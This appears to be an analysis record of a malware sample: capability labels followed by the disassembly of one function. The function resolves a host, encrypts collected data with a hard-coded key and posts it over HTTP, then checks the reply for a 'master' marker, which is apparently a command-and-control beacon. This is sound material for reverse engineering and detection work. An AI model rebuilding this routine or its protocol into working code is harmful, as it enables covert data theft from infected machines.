Function at 0x40203a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e000
mov eax, dword fs:[0]
push eax
mov eax, 0x26a0
call fcn.00417640
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x268c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x267c], eax
mov eax, dword [ebp + 0x10]
push 0x1ff
mov dword [ebp - 0x2688], eax
lea eax, [ebp - 0x223]
push 0
push eax
mov byte [ebp - 0x224], 0
call fcn.0040e530
lea eax, [ebp - 0x224]
add esp, 0xc
push eax
call fcn.004057a8
pop ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x2440]
call fcn.00401372
and dword [ebp - 4], 0
mov edi, 0x42113c
push edi
lea ecx, [ebp - 0x2488]
call fcn.00401372
mov byte [ebp - 4], 1
jmp 0x402158
push 1
lea eax, [ebp - 0x2694]
push eax
push dword [ebp - 0x2678]
lea eax, [ebp - 0x269c]
push eax
lea ebx, [ebp - 0x26a4]
lea esi, [ebp - 0x2440]
call fcn.004041d0
call fcn.0040425a
call fcn.0040425a
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push dword [ebp - 0x2678]
mov dword [ebp - 0x2680], eax
lea eax, [ebp - 0x26ac]
push eax
lea ebx, [ebp - 0x1c]
mov dword [ebp - 0x2684], ecx
call fcn.004041d0
call fcn.0040425a
push dword [ebp - 0x2680]
push dword [ebp - 0x2684]
push dword [eax + 4]
push dword [eax]
mov eax, esi
push 0x421140
push eax
call fcn.0040416d
push edi
lea eax, [ebp - 0x2440]
push eax
call fcn.00404216
mov dword [ebp - 0x2678], eax
cmp eax, 0xffffffff
jne 0x4020de
cmp dword [ebp - 0x2428], 0x10
mov eax, dword [ebp - 0x243c]
jae 0x402189
lea eax, [ebp - 0x243c]
push eax
mov esi, 0x421144
push esi
mov ebx, str.1.3.2
push ebx
push dword [ebp - 0x267c]
mov edi, 0x200
push str._s_v_sb_so_s
lea eax, [ebp - 0x424]
push edi
push eax
call fcn.00409bef
add esp, 0x1c
push dword [ebp - 0x267c]
lea eax, [ebp - 0x424]
push 0x421164
push edi
push eax
call fcn.00409bef
add esp, 0x10
lea eax, [ebp - 0x2674]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x2678], eax
cmp eax, 0xffffffff
jne 0x40221f
xor esi, esi
push 0
push 1
lea ecx, [ebp - 0x2488]
call fcn.0040157d
push 0
push 1
lea ecx, [ebp - 0x2440]
call fcn.0040157d
mov eax, esi
jmp 0x4024fa
push dword [ebp - 0x268c]
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x402233
or esi, 0xffffffff
jmp 0x4021fa
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.WS2_32.dll_inet_ntoa
push eax
lea ecx, [ebp - 0x245c]
call fcn.00401372
xor eax, eax
lea edi, [ebp - 0x246c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x2458]
push 0x10
pop edi
cmp dword [ebp - 0x2444], edi
jae 0x40226e
lea eax, [ebp - 0x2458]
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp - 0x2468], eax
call sub.WS2_32.dll_htons
push 2
mov word [ebp - 0x246a], ax
pop eax
mov word [ebp - 0x246c], ax
push edi
lea eax, [ebp - 0x246c]
push eax
push dword [ebp - 0x2678]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x4022c3
call sub.WS2_32.dll_WSAGetLastError
push 0
push 1
lea ecx, [ebp - 0x245c]
call fcn.0040157d
jmp 0x40222e
mov ecx, dword [ebp - 0x243c]
cmp dword [ebp - 0x2428], edi
jae 0x4022d7
lea ecx, [ebp - 0x243c]
mov eax, dword [0x42532c]
cmp dword [0x425340], edi
jae 0x4022e9
mov eax, 0x42532c
push ecx
push esi
push ebx
push eax
push str._s_n_s_n_s_n_s
lea eax, [ebp - 0xc24]
push 0x800
push eax
call fcn.00409bef
lea eax, [ebp - 0xc24]
add esp, 0x1c
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40230f
sub eax, ecx
mov ebx, eax
mov eax, str.bDUw5vJOHSrh
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402322
lea ecx, [ebp - 0xc24]
push ecx
push ebx
sub eax, esi
push ecx
push eax
call fcn.00401b54
lea eax, [ebp - 0xc24]
push eax
lea edi, [ebp - 0x2424]
call fcn.00401ffe
add esp, 0x14
mov eax, edi
push eax
lea eax, [ebx + ebx + 5]
push eax
push dword [ebp - 0x268c]
lea eax, [ebp - 0x424]
push eax
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nContent_type:_application_x_www_form_urlencoded_r_nContent_length:__d_r_n_r_nData_s_r_n
lea eax, [ebp - 0x1c24]
push 0x1000
push eax
call fcn.00409bef
lea eax, [ebp - 0x1c24]
add esp, 0x1c
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402386
push 0
sub eax, ecx
push eax
lea eax, [ebp - 0x1c24]
push eax
push dword [ebp - 0x2678]
call sub.WS2_32.dll_send
mov esi, dword [ebp - 0x2688]
push 0
mov ebx, 0x400
push ebx
push esi
push dword [ebp - 0x2678]
call sub.WS2_32.dll_recv
push ebx
push str._r_n_r_n
push esi
mov edi, eax
call fcn.00401fa5
add esp, 0xc
add eax, 5
je 0x4022af
mov ecx, str.bDUw5vJOHSrh
lea edx, [ecx + 1]
mov bl, byte [ecx]
inc ecx
test bl, bl
jne 0x4023e0
sub ecx, edx
mov edx, esi
push eax
sub edx, eax
add edx, edi
push edx
push eax
push ecx
call fcn.00401b54
push edi
push str.master
push esi
call fcn.00401fa5
mov ecx, eax
add esp, 0x1c
test ecx, ecx
je 0x4022af
cmp edi, 0x20
jle 0x4022af
lea eax, [ebp - 0x24e4]
call fcn.00404b0f
mov eax, esi
sub eax, ecx
lea eax, [eax + edi - 0x20]
test eax, eax
je 0x402446
push eax
push ecx
lea esi, [ebp - 0x24e4]
call fcn.0040551a
mov esi, dword [ebp - 0x2688]
pop ecx
pop ecx
lea ebx, [ebp - 0x24]
lea ecx, [ebp - 0x24e4]
call fcn.004055a0
xor ebx, ebx
mov dword [ebp - 0x267c], ebx
lea esi, [esi + edi - 0x1f]
mov al, byte [esi - 1]
mov byte [ebp - 0x2690], al
mov al, byte [esi]
mov byte [ebp - 0x268f], al
push 0x10
lea eax, [ebp - 0x2680]
push eax
lea eax, [ebp - 0x2690]
push eax
mov byte [ebp - 0x268e], bl
mov dword [ebp - 0x2680], ebx
call fcn.00409ecd
add esp, 0xc
cmp dword [ebp - 0x2680], ebx
je 0x402514
mov ecx, dword [ebp - 0x267c]
movzx ecx, byte [ebp + ecx - 0x24]
cmp ecx, eax
jne 0x402514
inc dword [ebp - 0x267c]
inc esi
inc esi
cmp dword [ebp - 0x267c], 0x10
jl 0x402460
push dword [ebp - 0x2678]
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push ebx
push 1
lea ecx, [ebp - 0x245c]
call fcn.0040157d
push ebx
push 1
lea ecx, [ebp - 0x2488]
call fcn.0040157d
push ebx
push 1
lea ecx, [ebp - 0x2440]
call fcn.0040157d
lea eax, [edi - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040904e
leave
ret
push ebx
jmp 0x4022b1